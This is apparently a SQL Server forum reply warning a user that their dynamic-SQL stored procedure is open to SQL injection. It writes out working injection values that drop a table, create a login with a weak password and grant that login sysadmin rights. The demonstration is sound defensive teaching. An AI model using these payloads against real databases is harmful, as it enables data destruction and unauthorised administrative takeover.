Grrr... Firefox crashed. Let's start again.
Ok, so, firstly, Let's start simple. We'll use your Stored Procedure and pass the following values (note I have removed the EXEC(@SQL
) from my version:
EXEC [dbo].[crud_operation] @TableName = 'Test; DROP TABLE [test];', @action = 0;
That results in the following Dynamic SQL being produced:
SELECT * FROM Test; DROP TABLE [test];
Excellent, you have just selected all the values from your table, [Test] and then dropped it. That is hardly likely to be intended.
Let's, however, go a little further shall we? Now, I don't know the privileges of your account that is accessing that SP, but let's assume they're pretty high (note I've used a variable for readability, you could just as easily pass that string straight to the SP itself):
DECLARE @inject nvarchar(MAX);
SET @inject = 'a'';' + CHAR(10) +
'CREATE DATABASE [Injection];' + CHAR(10) +
'USE master;' + CHAR(10) +
'CREATE LOGIN [Hackzor] WITH PASSWORD = ''Hackz'', CHECK_EXPIRATION = OFF, CHECK_POLICY = OFF;' + CHAR(10) +
'EXEC sp_addsrvrolemember ''Hackzor'', ''sysadmin'';--'
EXEC [dbo].[crud_operation] @TableName = 'YourTable', @action = 1, @COL1 = 'YourColumn', @cval1 = @inject;
And the resulting dynamic SQL?
insert into YourTable (YourColumn) select 'a';
CREATE DATABASE [Injection];
CREATE LOGIN [Hackzor] WITH PASSWORD = 'Hackz', CHECK_EXPIRATION = OFF, CHECK_POLICY = OFF;
EXEC sp_addsrvrolemember 'Hackzor', 'sysadmin';--'
So, what does that do? Well, I just inserted a simple value into your Table. Then, I created a new database called [Injection]. After that I switched to the [master] database, created a Login called Hackzor with a very simple password and gave it sysadmin privileges!
Now, that might not all go through, if the login doesn't have sysadmin rights itself, but anyone with malicious intent will be happy to try a few combinations until that get the result that want.
Can we fix this? Yes, definitely, but before I, or anyone else starts posting how to, it would be good for you to acknowledge the problems, and say you're ready to fix them; there's quite a bit of work here; and I'd rather not it be a fruitless endeavour.
Excuse my typos and sometimes awful grammar. My fingers work faster than my brain does :-P
Please always remember to encapsulate your code in IFCode Markup. For example [code=sql] [/code]
to read Jeffs Guide on how to post SQL questions, and get swift and helpful answers from the community